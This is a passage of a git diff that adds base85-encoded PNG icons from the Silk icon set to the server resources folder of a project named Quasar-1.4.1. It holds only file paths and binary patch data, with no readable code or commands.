z1`3r%1NNDUgv3N)up5mIjhZ)>YP>$qw8+_m~#CmCO(2yCKyGw00000NkvXXu0mjf DL5fvw literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..8138bbdf05086e7f8629fddd2620ef1afc403cb9 GIT binary patch literal 811 zcmV+`1JwM9P)=;R!)R*{6v_K`G+ksyda;zeC!nj>s}-s|U^l!%WrJook$c!=9!O}3 zv>H?DEKFO32*|HtRC0n&3I>BxqFEC}vnIS=?@Uim&vqmdL6g$B>G%7g)9FCupnYBx zTX2_RY0M6+e#Y0am*^Fx#}b`x42Q!Y0PuJ`RG-fWyWQ?{xm?g{wYRKRE4&8kvoGUS zh<&nR!6U*(unphl`Vna1ZIg&9#|8%n(cRsh;&eKbZ8qB(qtSR+qtTER3dR26w(EBm z$1AtCHu|yg;VvSBg_u;bG2E1kM-K`-JNI_G-OB_3L^WzhM+ekub&lC=Mwcq9W-(Zf zt*8&{GYmxMX;_)yV@66@(zn#3prD{^2jFlx+AS7Kie9fzR;g5Exm7*;pR0z_f(2)+xA}nxCH^<8U~sI{=f(L?r-FDwR}&!2q4;MqQ}A1X~-uh|aRH zIiG_i;w0}SS7LQSKJxPNa@lP5EQ7%~`1AQ%TU+DJ&CSWO;Jj#5Vttl| zNT3W;VoJnRoqmqT13T>+UF4@7Gi p$Kzd3(&DbClpb5@$)kJy#_u2g$edtF$hQCh002ovPDHLkV1k`ddgA~9 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_error.png new file mode 100755 index 0000000000000000000000000000000000000000..3978b2923ad6c7b4a5dc47ef27f8476f8a707d76 GIT binary patch literal 794 zcmV+#1LgdQP)sl!)1JQyAh{Jt+NLd0LFDr+7@6S2w{R5lYZfG1_t~4R>k90x6E9S7 zX$X7_K$Rek?eFet(@HT{eqG8Wp|g&hS~UZ&*Ly>fqz(+oX0tqo(QGy|Hv8*zTVs_X z5D0*=JOxa`MU>Si*q6hOWG0jOl1`@qF~TBI(&==~DAtUL^E}TpPN#FEzEZ33`~8On z6$gdlt9gT|la2ZAc?CgGi=ueRWHL3Qh>=CoKrk4DL?WTbggqLKwj=IaSXkJMjnAv; zlj|k5UHZbxEl|dXYV_>LA*>Jke7?Mc53I#vnL%JXJpcC6G(J1H<-n zjGQc9WQZ6-0r&Dvv|6oMw4_0DotlKdw+OD`hK`d>O1TS2X71OS$w4NxL--R5&+J39 zr!T*#UA_lMpP$`B)8H_!e#x4RxoCaNEEi|Yjem>%l4acjK=DVE=fyuAA=Ktrvw>RP5<&7h*Ts$HjZ`yyrZ>m-jgw3IO##wdLW` z(o#+$k;wfg0RQ=7U59z*^NUbyP3m1)yUQ#z{4s!-E889O5ZY&<@V!HK;5{Nm3*dMKVciQ>hdP0O4?$8;ivd2n1rGPzZLrz1rvV!DuvA@tHE*8a@HNK?ku| zT$2F{g~E>%nQ}NDk7H_Ts$gPbg5~%7OWbbvKAX+PF`LbK27{q^U|?W(<8aAWv7d)( zeG%@6>)8YXfj}^t-D7fc@)H4oOydTFL0GNU>jLXp@R`zdGkp^ErsHXmrwY!52JNmZ zIH%s5Hql13w6t_&0b^rh<0B&@1x}}vWwBT|CX*?@jVXn9Q3v;eHfyve`q3Y12OaCf zZEFQiJ!XN|%B{=-JRT310KhN|*X43Sr_)_)B>QH}s-OV!@iz3nY(kH}9+J^!=%=Nq zHJ?FYH}!MlIcS>xLBe8bwb~+;O0}oPcm$4kKdiG#(9u3Td-H@qS}`~+L6h|Y3cGT? z@9(6FHvl9okg%XsDj}1}aCMN4i<5$NH}`)5qM)n=Nef1O00000NkvXX Hu0mjfkRfIr literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_put.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_put.png new file mode 100755 index 0000000000000000000000000000000000000000..be62faaaab2773a6e951c3b54eec1303214cf4c2 GIT binary patch literal 733 zcmV<30wVp1P)k4ls z?I!B3WVC@<#F`aNER-!jYPQ1Y^<$s!$F}~@D5-FE;K%=co^zga&hzoIN~J=Z*|kUe zD`H8cmBJe3ob|WC?;=|ty?Cj+a{UZ=3Z(t?V;sNiq;AO_1TYM zPddZX*@@zRx3KW}R`+afoaTiIvgn)1YHXwU@^eb98>x5uee1xLyIor*7_=9!tCxmo zGWUdLeuQX7ct)>N$@RwUDYCLW_1nuA{yOaG>FGO)qU-}C%d!TvdpsWYaBN%*+0JNH zf|D+{4AaYaqHv^tZ+#>Z$xD*-Nfbqbepg|kVzb#?Nan)CRgFf&qS5H9jvZ$0iPe#l zrwunLkw_eGv+C-@;qZuFuh$ie#UZED=|Ylr7K_C?7-JuExm*hp2*3@}a5nNvz=7{Y zXfyO1vw!#k)K`T>5Q$z;wq}JHQfXLgiiH zVjvLc+jxmspaum5)2}Pq0E;%@*NsD`QmOQ~`VMOS&Rdz^@7Hh*27}U1CMl+92*+qN P00000NkvXXu0mjfPQ5eU+*>qNCZ^P_vEK24YDO;&<-m{sob!F>yPR`|({-J4jrtym zb5yFCuiu36=jXm0q-};_JA=2{t{u0uQ%li_n(AKh*?$G-9;wrPrdET;9w3i&jQqQr zj#l+p@8$C4wzhC%Z zqu52Y`la^M(hc%c=h@v3p>Swu=&s3R5|YW}^@@rL4}z3&p-^ZK$8jHGu~;zz$Y38> zf^jFy1l;(JK#QQCp)RmyG#Zy=S$<^j`F!E^_4V(l;1e8LU>HXRzaR*c(16)&ehqDg zzJ)ztv)Pz7y4`Np!i$Y}Fo=Q4c^Fs)<m=o#NJYL~O_d2{_ZQE6RdRS=e>s&?%ixKg{_r{LAR*=-`}H~;_u literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell.png new file mode 100755 index 0000000000000000000000000000000000000000..6e0015df4f737ded7e7e14b546616e704f023226 GIT binary patch literal 789 zcmV+w1M2*VP)w3Y+732PG_{dW-vWnGW?ek+eegcN?|t9z2?7xGKN@MGRD*J^ z&rlky@ZUE!D5>oxB^64H+e}Jso>dhAcXJ|I^4Pu&0hSi(IWgLX71SJg^}9{IANt4a z6@3vO@*Gyvx&UJ2j;g6eXHOcITv{wUTQS>}4p&n=2Fk;r%w^@S*8a(S*4l9Z?xB2q zbEz@ceIA}S32-WSa5Toip*ae*h-LZ>K#V(y+NX@kSg_V%$^H^^#w5(VjmNa^Al#Zr zxKskTv?tM3%<%;PqbiC^j8kOR6?gv~_-2jxYPk=$UI?e|FeaO0Fjl)4b{QYeM$$#= z33NONUJd|;c@3 zEdc1N;!Mt4u3_FH!uuLNdh0_mSQm{kBBv%A#u5&?pX`FYmIHU&F-*wfPx9%`;Lgug8DbunAt zBaI+kWJ7UF0I#(WUwSj4$>*c9h=G}AiU3$-A0$Ax*`Bq(7C5v$WSb3D;V`_ofN@<0 zyyGH_s4k);Wh-=dcVI!ug{|Qbq&Jv@e+2kN0@9!>-iNlrSST`i(3d5k^wJhQO4^KW zF%1@J6soS$C)Ne{CC_FFV2Y&a z4Co4YFjq&xTp5X`tPqr@&_w?P@T)qFu}N};o>QJmcZySJ(R-Md ToJi+(00000NkvXXu0mjf*@atu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_add.png new file mode 100755 index 0000000000000000000000000000000000000000..7db01d627922c6ef45c8cb85020fb230d1f9bcb2 GIT binary patch literal 816 zcmV-01JC@4P)r0JK8p ziZcp8(3p9#IermhN~gTGd#xC^6fa0Bd6~45i+Xr!rFioZZMAX=*zNTYoNo zSQVJ-x`3HCA+X3en6CH7bW11{>5Rd30Lti0sdY+s5#LPJSTt8+PInq#-v;Be<`8Tx z`(Y)yu&Tq+S-@I$07giHO&O=CyRO)J?_+sZhwsKr*tB7=XpUgA$seOtUNB2MVX3E5 zC{Lj+%YDfK7?85nHvM@lO_#$yo(%h7G!}Z#!TKr~BQ-wgf5yRw5&|aip4DqiDNdq3 zg)!j(=qp&0^TwN)H>TtL3s3aac%ZM^52KVUEq>4yvCvhx8|Eq&Y^oC&mjt0Y$xY$_ zbUbu_JWK{*W{3|%T?ELq0BDMjL7m6MM+p}*N^j_knRr|^N|CNH7r>NfClLebD$h=%@R&`Y3>flz&e1}v0LKysfjbUpTVbhVK{ty z7xGlskfY+Qnsb!AjT8JWaiUwgIKdT~JPxw52}BC^B42fVwKKib^_n->NYCS4x0J`a u@JpjzEWDVV_P{vjpLA?W^OPRYXMO`Z^tmZ;1l9Zi00003@?;{2!fhnpdDVjACjRc9&&}_7G!fzd+)6QD z^js-e&7gSabE~uFe+JIvM-+_c8dsFa%V9nCP%1n`ZFBWufExnUQvL%p9uS{|rz9GS zB=!3FwxC?C>qzOkK(&;gR>D#|QwS&aKZYg&_8%qOwV#PcJgvI6HTU@27vKC>pjyg5 zVT6Z2i;vBcNZ*ECKSi+9#%s3_ElPTFnA)FPPXm7ks-=7e_$ZRT{odHfEPaN9effQq zW20OLJrYKI8_Xd_qvq6Z&b%<6pVke&3Vg;>lTT^MiAQiZzQDS&h_Y?`o`b#JCDbqU zn}P&_Wh=D@_>P=RPan#}M~@IVD|pQl=-xKsxpX!xyd4*>=V2x_FicdS*xpgCJ;1Z% zU}!Lnv(sSt+amq_iav=F0^*52YHJpT2!?3rgE!Obba7nyeizW~Yihn(`4!)H85o$N zUWwCe4REQpPWM`msav9$x?;29@%x8Av2x-&5=)J{%lDhF0%#(_;(G_aiDgoUr|vky zm#2ypjy{XM)#itCk(AM4$T#V(k1%u3lZ0}&VlS0Bx3~~oU9P;S?N)i=_<{5BeaRWr z45Qhb7|$iBpR4fsr$r84b-3&3aU!c{q46~&lC;e%Kb99S?!EE8W7Yhbx!mc&#PaNg z&CC3;Fd1+0$2@+uAOdTadTmC3hI^7`n$7^#kr*Hlal`IvegYu)Ek%Lu%lyrJD_ z&L6*!HC#uIc^=OXI}#n(XlWr&!hsCQtw$vWGj$RSg4MP#$JT9~>*(5N&#&*-6OANOx%eB+tcDd0+ph(OOzXSet)ue=n#fRxPKJ!7q4Td0;96nICJD&_1!IjO3|5$ zB?m6qJ0|JPj^WOKMAWJi)R#~rO?G5}x#h+&;9;Orbn?K3RQBnYtlT7BF%S3ddx+;E zzK5AgqM-}%ezvFMqYrZN->*2k%otxsA%lG*M~%!Q2k}?GqPcJtab3bqk4-Ou*)vQk zDnq0+U6BWX8G8DGJ+wPN{OsFCkL?rG-p6duqJhu-)h6q87fEEXA3KI;W|2r(Z^=@p zLD1B~ww^3r>mIkSO_N9nU7BVaVE1;h?4`+#PGRTwuyWHvyat}HGo1$RhFq!L`k65F z>Fyq7{+3N`shc}8&i3)+G+Q8Ie$oM+J6S$aE8V+xclHZ*?tYS> z-Dcvo1MJ!NI;-mz1BEwXbC#J47fEMaq9}$_7)f>jfEP|x_O4XdO21tFlDt!(R$fHK zCp)|stFMiCRZt{<8WT42~V9+p44CDi|?-{ImoJvRNYc z_%M+doc!kO*b~N9Yn(YhF+cvs#i5va2MyPNzyFxTQVvTuuT#2w_R^MH2t7YJ`|*^k rqKHUbBZ;dBDypdXDyoQ}s)K(4xVc{-Vpqm500000NkvXXu0mjfWm$>@ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_go.png new file mode 100755 index 0000000000000000000000000000000000000000..b89bb343458ea62488d810fd38a052c6a0572b30 GIT binary patch literal 836 zcmV-K1H1f*P)Yz&dqT~oxC<;gIOR^S%DIiX_Scdk}vgKP!L@}D(FJ>QuL4&2|W}( z1Vs^zWETnXMvxi>si`B5la80k%W*t&&OT@Fwt_;DMf+txto41Yz1Cg=V+{Xu`h8v> zQCXQ3(tSn82CHKJ3B2^WDBuzWj8eu<8AZ#!B%=d?AA|cB<9`+S8@=}-U@y~PBb1pf zCc7Byn_{4l)IMat;ah%nGRC*N{eAKxG+Pl#6B;5Ff`7 z7sJ4G21%xLMW89{o-?n|ZA~eMuJnV1?m{H9U_`}SSOSTtAW?!^vmFtQ;C!r(*$5q9 z5fF*x$0s_WM82c9!-u#yidbewJP%rJu?UPwFz~+;HLA#PuE*JtE>vi&b6FtD^Ryw< z^97owA|W9c!5%9@;|aK}#pCLvfCqLPYAw8Z_B`aL6(KX(i-+!LWyuYPc~KxN{=}AB zo_32nX?yP0ax~TXPTPsK_n%npu_(Toq=W=)l|pQ6pBy! zcf7ss=~I+f>)hUaga*gJgG=ymnD>Qh&?o`X3FZ_Dg_*^eCkx_-q1Ldt{Fc%hzjtD2 z`gvrg7X#gGTo8rEN0VyJLYg%jZkvaX)&!R&9bF@BXd7&uTu`xD_>9nsz6z^tMQy zJJHemUXnn!aJX-!iL0IZ6WIn;VKs!{_|5d7OJSl=IGs@P;?7*la?VfOO=or#Hn2Yc O0000JYm9`uEdlL{An(2adpq%j49-vJ2@kpJ&w0~X z3{(g04JcXAl?1l_6F>%;(hO3o>(VB1=WP!5Z-oJ&@XM4`W zJzj|)E)zV~Ygl;~2d6$1j+SURI^toH2ipDskiny*-Y!`(urb?+?S&WcSh!g2=isaP z0^A*^;WD0rt2-HkRSd5WFl{85WN?YR>z;c=3h$Z)-|eMv4_t!N%*J9{G-m30Wu6VnZYn z6|&jvLo}tYDrjJ+Ari}z5)|KLL#0x|;c&oix1+bW7u636p;ibnX&a+^{r&y4hsWbp z`d*={JZQ338Uaa>7}k*ylu5IY%1ePzD1=(AMsaa5UGq}7$jHbrQILXyf;GQCka;C^ zs#Gqc0dI;}NQ{q#*=&Z@YDHgPA9Ok$;yLU+KA(S(0?6g^Ek8h5SXgdO_N@&Ha7UPo zgai(fl9G^?mPU)Jr?}raY9_4?qyaf!NsCa4whoB`YiITV7t?R(_snS9ar!M}D2<$rt79lD%ze cjq*_5UuZ|Dxxf{wWB>pF07*qoM6N<$f_V&p-v9sr literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin.png new file mode 100755 index 0000000000000000000000000000000000000000..350c5e1cf63427410be981bc18e28145feb644ca GIT binary patch literal 423 zcmV;Y0a*TtP)%#CZANYO2c(7;#q!>*bhPv@xspOeDW)D?*XBQm3Q zHEms|!k3})d~voIK2~p;P*qACIN>W*DwLOs=V3b3v!rUnp+qnubHNrWpX$Y{shQJ` z=vcRHT%r&J9RsA{?%2#3hcXQ}9kppxqNXj%k>-yt+O?-^U!rMKlo~P+|JCSBi$z#}#WNJ+;uKTjCYn92F=5ksxTwEpU(mHS5wCEIuC$B2P zUSwBHbxC2E!my%qQU^~%BNxL(2NyO6O{Nu7v{a24?CN)4oggXb`Am85zX^;VN{cG5 zo2Fc8DSRFG=!KvnW5WAeNyZ^wOTTZbw7+5TrX3UnKiDr$iIin~bQ}~y44$rjF6*2U FngB?Vd7S_N literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin_empty.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bin_empty.png new file mode 100755 index 0000000000000000000000000000000000000000..69720528156a7a03f28f93e669cd3bca69110a85 GIT binary patch literal 422 zcmV;X0a^ZuP)mKR16v)KR{yf zF&LyKNlB32LD1gza_@Q1dyeNxY5)KLKn4H{6ZPn!e7+hjzZ8!)2gUsXNey6OI9}L) zDLoN)rbd4EKYo1}mmbs^0M(6s*UyZ%6rx6JYqmG@bK0$>1}~CmW#jVrq|%0-2}6E( zI=Hhf<7J~d5ckC4lg$s>a+O-p@ZRJI8P(x)U9X}B`&mrY$;5^bw$sfI!=APu`R-}UwN z{MFR;2Na@!wD{I@RL3V>Jq!#~DnX@0T0Hrz>A2H!1knzaTEm!t^y=f4<=1k#QDfdX zsAaF*td4SxjN<&;AG(X2Uwn*# Qr2qf`07*qoM6N<$f@^TbO8@`> literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bomb.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bomb.png new file mode 100755 index 0000000000000000000000000000000000000000..1be37974adf9de2880e568e700cdcc9037c78804 GIT binary patch literal 793 zcmV+!1LpjRP)_K8L+b&88i{a`h`7P#Ww_cAT-3>7iG?d zKQ=FfJTtdc)9<~|e5oamr>PvpaLsiMK% z)`3JKfz0M{+kjr+tJMf=)!zW)RDC`lVzC%#5o2Rx@Or(N z+pwWr_G0Cy#KMLfiChPqPN$_Y0QGvkUkCxe-;Z!O3?8>yEmSHM!)YC#@*XrA4QQHX z0BF760&r5HP@qa>L#*q%0boI`Rx<$XRMi0R97hX46Bz=Guz(YJks&PLZ=UBdyUk`p zsZ`>ej0K>|afib(q9}^d4OeFfM;4ipp)QvTJ3Bi(j$5}tCq9+UX8HLVTi_P?ApdRO zZnqn4=W;oEbYjW^%*@QBNDxgXlO=9ZRaFCIR%heN3`nQbC8{1JXzH(jfvvZ<_c95_ zgTY{*$Kx^fYu?80?k<*>m$`D3z?1*|Or`|_fk8U72%SNQDjC;Ho*|D@?i7hr`}2PR X#`)v2r!)w#00000NkvXXu0mjfQIK%^ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book.png new file mode 100755 index 0000000000000000000000000000000000000000..b0f4dd7928cc5714e002fd2a6e8f2faac0073f00 GIT binary patch literal 593 zcmV-X0l6k>CGhc0FIuigU9U^L+D`6bSr zIEp(+L4eIgaZT(|{B!*DbrTYc1t0J9*MLJm+n zOEVloE20S^g6s|1rvjjuW1W$TV;&TbK2|slm=91)Q{X{Kg;c!Saglq7xo8`(>{A}G zw@`8gScq(adr(4@;>^%e<~7+uNMv&?8L0#%0yj~@DW&fPImKeyFHkRKuNERO3(SOB z?S)niZbFEN`0<|w+LjBKR#DU7F3d&rQGGY&Y)Fv0w002i=Jm_>x9jBX>wg3XCKK`E f>xbvJ_5i;DeEQXvyE?}U00000NkvXXu0mjfKqCEw literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_add.png new file mode 100755 index 0000000000000000000000000000000000000000..e2f084727408f27356022964c059b02017988b05 GIT binary patch literal 714 zcmV;*0yX`KP)>I+w#Eg*+A?cQ*gTsOTO&elT=?-PprnusH^iNrUAVMeNReFOLbFcMel&QL3~P_-NYJIZZM z$*ztjRyCBdoPe6gbXRyJOBUy07*qoM6N<$f)d9;DgXcg literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_addresses.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_addresses.png new file mode 100755 index 0000000000000000000000000000000000000000..b73419ba82098bbdca1989d31fa798756c987524 GIT binary patch literal 770 zcmV+d1O5DoP)LHt}U(fC{;>Yum{xmD^Y@B5nN0h99fKm3?`0_{sl~q#>Lf`Xq^mk zkPrtoHo*|Z3nt2x}Jy`Dy+VWv$$5Q(e+JC7mM8^t0(iL(m}3r?Oq>CBlk z+U+S25g-Hs)ayudKxvr*V(ri6%46oq;@1yc0P zA3d#Jwv=Vd%^Q~uhdUw?5#qmljMYF15n(hM*?Rc9vGHS$KYP}#o8KGsA85A5J$?L5 z*MC`7uV)9h3*UUa-*A}z_>9dmBBYe0l)#gR7WI4g9iBg>J=3wbH*kCHJ4ZXOSYQ27 zDru6(55yX)S@&n6~krBum)TC;$e8swaf zMkA1;lB^Q1DT^mw z_wd1AvaF1rQ^f`GXt>pMc(a6@v#P4V>fhgb;ib1-`{@%;>^~y%NUa>Var+02W?K%X zYERjjxIaDC&rwE%l#-mYDhz}(!NW^0=wBZMH5C_+RAIVF!K23~z}<>ANUn_?}3M|H~;_u07*qoM6N<$f@;M1& literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..d9a6340d723dc9b47169f3470c503ae0514c840e GIT binary patch literal 719 zcmV;=0x=?)~1m0FJ8hb!d!Yu0W+yAtWhc z*}ae_E)-c*SA)6F0RT)5(LjlN(j#U@j*&Uo8i!f8Sj^uk+*2o^bAxTO*OM%hKM2Jh&W@l4NSi2qVCCAlJZX` zf$_0Cn&-##49Ml!zH<{EMW{NWj#cyMmJ_^t)kS0dJmP$T@nKe*hK>*g-q220wjnJ98}m)EabiEnKG)?OAx~Z6__u- zVj)yS6Ro_77yvtqg*D!%oomRiETS<1QHiTcTzy$%hRmV_J9dA|I{;Ld6g!%^b#IKh zx!0%&08&+!164spaZYg}SWy-N!{w`k?*k~# z2@}&5Qht&k2ryxUl{jyyBauu|NDp(e`xokVbuxUmN4;QjUv&nE6Rb0YVaT3s?Xmn= z9jeNmyM1g+KWB0A8*;5%m@lno^yj`4H3h~A&RDGTxiI(_p|Mz}I4iWI|6tFiG7Y&M z%#Qy}%8U4*VFlR_^SK(pS|KuqNI?BGUNQ;3vO4vEy&Gp~T-!r9b%|8QV`69&6GShA zh5x#%L&R8z4J@H?SSJ`KtmHmlca+Gr^%6|}grBk`v&{svBZ&1s?>gH5*sm#Yf(Z?w zaRkP(ql@^{3+~fO!2DTpU9|G{-Zoxz`ps{k7FY?b=-ti^T z^FHcQN?2)T>h^tp82OB``E>0W{i#(7v{#if0`DuhzOg%h>5b$bt6{W$4Tw8RQ z7g6@TMv4s+ISM*J;iEG=x^#@kcYY(C-%NRCikr!UWHL)p#t@OG?O^3)fwPCHG3Skh|?C7Z~pX@)~r^*3ES@GmJTU(dWwV{QH rsGh5(PUcLu_A^ng|9SQ51*2b9!67)iy>GqcMEC5#P* zVFs9y6`M&Fk9XyF_s^Z^0?3gy95h(oU+9Rwek)@(Jp>s{F@^E+FQ%NKmRrJ~$N;dZ zztA3S8EB`YwI9m}sA;xUv+XTSb=1}7*tp{mvjCXQ>+kF2=F>NnN|Tr>06MM03{zu# zVv@wA{2PBP5anue^sMNld(nJEz)Vp!L<~_Ss4-d^N|?B&1tzY4r4;sZfq&fj~5 z^MN2nED771uduXd3#H;C%<{7U@iZU=CH0cGQ=aLOHwhq#oj?vyY zUI_p`2q6hLFC;-oypWeK^fF3Aa}zRgjkbY(Y;Ai@Ra{AdDBk%D;05o6f<2_IZ#N{* z89R4@`lczC)qiAlo2zWWrx_p($^t2}a#2LXyh+r(15@PZ6S_7ZV^^WX*s1jmGXOOs z4MK1M=atl_td`p}b*w@sUtl`L&~PuBex|mz$l%6df=iFix&skIQo(tl+mF)QGe}*- zcP#vXsETJ-i-4j@k(Onhi1UXZjI1ckJR@<;nsozM6fyMaE-i)A5WgpGYyph5`*+T` zuF5Z^YwPia#p@#{rvZ0v-55QP{XAo6d6~y&_F!t5>Z}@Rkk}+e6*F7>8&yNBiO-YD QcK`qY07*qoM6N<$g5Ksv>;M1& literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_go.png new file mode 100755 index 0000000000000000000000000000000000000000..cd4e1964c4fc6288ffe2a52bdb8279b38f4694e2 GIT binary patch literal 745 zcmVmRp;U2rehpEP*hRW`OfcGbt-Xp_8t4T*WE8WOyF#D z9CyH-V)EHx8i{%B{osXDs{u+B2M#;@S?%dgK7Oj<-b{i5X1Kv*?Hkj%V_sUtOcVgv zS?%dc{_g9d`;RJK5HPo*suk6jE}qZ)wi4U-AK@ne?n|n@E4lgfEfW(B+zbF~s&L26 znVf2n<$<{|V}Yd9T4LRXm8|WopbGAWnWO5c8Dh?K7P)j~;CBE=)fo9WMQd6n%Q9jf z5G(eD7E0w-Iu^{s+AZ#%iNfS8S&qrg`>Zu-5laS}D!75JLeFb21I68zZ0J5KRz^M2$@4U)k8T zgL-VFkKYe{E;Sn_h$6X=M%8P7)_@ZjChry%T^y#rN8 zgBBLdXn4-~hi3^E$Rx0)qlc}l_wZz7h&wL^HBZ^*MH_f b^BKPbr%B>ylaEW500000NkvXXu0mjfu(4I; literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_key.png new file mode 100755 index 0000000000000000000000000000000000000000..d8e23ec9329a160181b5dd14079e95d769e681ff GIT binary patch literal 779 zcmV+m1N8ifP)JNR5;6R zlTA!qRTRg6@6BT%D1r!D5(}0f7+??^@jDV1BqUmldz&sajk_i;>)xf?E={XR8-;~U zTChZ*#`+PPnvkG?B9K6gb;1k-Grarmz2~@iGbqYQZccJ@@9+Ho=bjs=Diaqz9#GZK z6$&UXDT*qfN}BX=iMLp@yMFu12i*V>>4EbKPv!bMgZqE&qFTEIDNIm-;%=D(qliYQ zs74BaS9AR*gV%;m(%F$iQv#xrR+Y4RdrKpY4G}ND`5s3As6Lz<=wkZrZxjj@R0II2 zsZd2lDV8e4CgI;vwLlPMBc2@WqUW(zya!c5MDbqnA~;bFV#{Zf3&#Nz?}g3#C9+{1 zaU5e!f|GRLks+$f()K_-qIwJf5HC1yF~;!Lb3Lj2R2{0y<@sND;$V`C&#p3ADg0l7 z^@6t!=R-bS_!(mz&MV#tj({OI&ohH1n)~19#3LVZ@5A2l(-&7~4gt;yiM1pG8rBok z)j_C8AoRxbjPfsp$*d@79`#bsiTxjP*D#STEJAbcVmul6xIr zS)!rsabmwk$LMgQD;F;PqreN+Sd8_l9j_!+$e*qiTi77Xx@76B~49=xNSlyLfC}bgym~1@zP4^d{i5l#Ce=?7%Ny2`rHqUMBniA zD`RMKi@@)(c=LdyP$Uq`)<)^=vsc%r4twCe;uD`*5aEU9pBNrJLz2Hl6g9IrmoU5c z248PRkTT2n_t&YFV58fe*<5d*O+HQosR$j002ov JPDHLkV1g02XZ-*G literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_link.png new file mode 100755 index 0000000000000000000000000000000000000000..dd0820e86d0ae7484a9d1fea509ce168ad44699a GIT binary patch literal 789 zcmV+w1M2*VP)Ibg27S@bI=*bsb;IgkCPuV5Vkc|%HT6t6!`B9|*t zHpjbmR#Y%cB>BZ6G~K|TYq0zotNP0+pjRo1^k6y zQ(zK-ZCXSU!1IwY=-xjmu$Tf4f+)hU{HAV5V3E@>O&HWaHz0u%1Ry{!z_DJC&*o_V zmjEy=8pfOy7Z^<;&>NY@@?}se=09I0f1Ga6p zG?rs_c2-+00f7M84&%w5U zF$P?S$NA+oaJ9O6Q0&X}iyNdtz%UGZB(nkoV~cB?a3#4vc;;xhAxr%76YzLEP+hO? z?&=*KAO<-*-2YJsNtsLr645Ah?T~_PZC=>bAwxEs1zuLUTn1HDfe;f*X#rxIfMnHN zCkx2!77hx9g01U1<+RIcy&ye$%m2*Tg(5LgBW?-F5D%H?w4^?K`MF2rr8R>tbKv2HLCJnr;&f?m);TU^d+FTbf$I2?vz zu_%a}F76$EB-+Qz3WY+@p6JIiy|6tv*_UrkzroC_NREjv$g&J>w;TL^zkno3;B-10 z1jS4szAx;Z4ITI~jtNz zZhT67I+aW`o%x}m4?^&tT}aQ)3kRJY0g-8BG}Y8W4bg1z9Q?8S!u?m3O8F!oWuISO k(%#-l{_i$Awz|&00Xevia);hrMF0Q*07*qoM6N<$f^aM`9RL6T literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_open.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/book_open.png new file mode 100755 index 0000000000000000000000000000000000000000..7d863f949741ff83fd8373a77c0d95a3d95e441f GIT binary patch literal 622 zcmV-!0+IcRP)YeaZ-G+53gSTz{SPWVdFiPaPX+$~@n)fi9>qgJ zh4fN-QcEhq^wI<|vImjml9)pF*W2zl+qWbTPaSyKyqWKt`DS)j3xa?yVgf%ewhl|m zA$_0x^Rx4E@d&=>uRoSN*Cm&aL#`7&zr0;L(pKMn1G#$ZszFkMC^?B8f`0w&-UD$u zd-(?iK6#!;xZ`>J^A9DGiTfguewDOKwDEKoL}`ZE_M}0=xvsgf$usmJeV$oo28d0#yu!pdgpag$giC zhlKP!CMX3wsPMGgZ5n>Xg+hV--ENofAcH61#0B7Hvl-7Il}g2A6;lfG`FxbX8A>p$ z0P;GW4il9Mr9jO9)xB^Rgy%*CSTdQ6D;kDDnM{U{5Q21FA4#ZM71$_Dba8z<-Y_Na zS@|v#c0PZNDux9AoXD-ZoWP~q)7QrC`Gr3gZ6sTvbKG`S=Qf*6}Nf4;Z7Z{zN!O--ANbYb~sXZM@=W_MPrR;$>|(APVL z9?v<)29FSdeXBlhS+G{-_{fQm(s$|pt3F04wDk%Eai0K>nDfCMZg4J%Tm>-+#q|66 z8(eUXMZynJwbm5eoE>%wcnw@1t#WGynhm$k?XL&soFn!ri`4f$cVy<%2mLsExU->z zZx*xss|zVtj$|^aY{nS+ySuS>yS}Tnbt?kCHpJucS_vZi7oW4eS02jdvmho#X{ij; zASmWb3g!Cg&?GXM48q|syk4&gstfW5ufx~d(b5UV8T>6lg%x6ea*97xpv5pT@eDFq zp-_Nnno3HNxizp%!hp9l*G6j*sWM<7rm?Hgq>7h^v`h)1B=y2@X=W?ZT 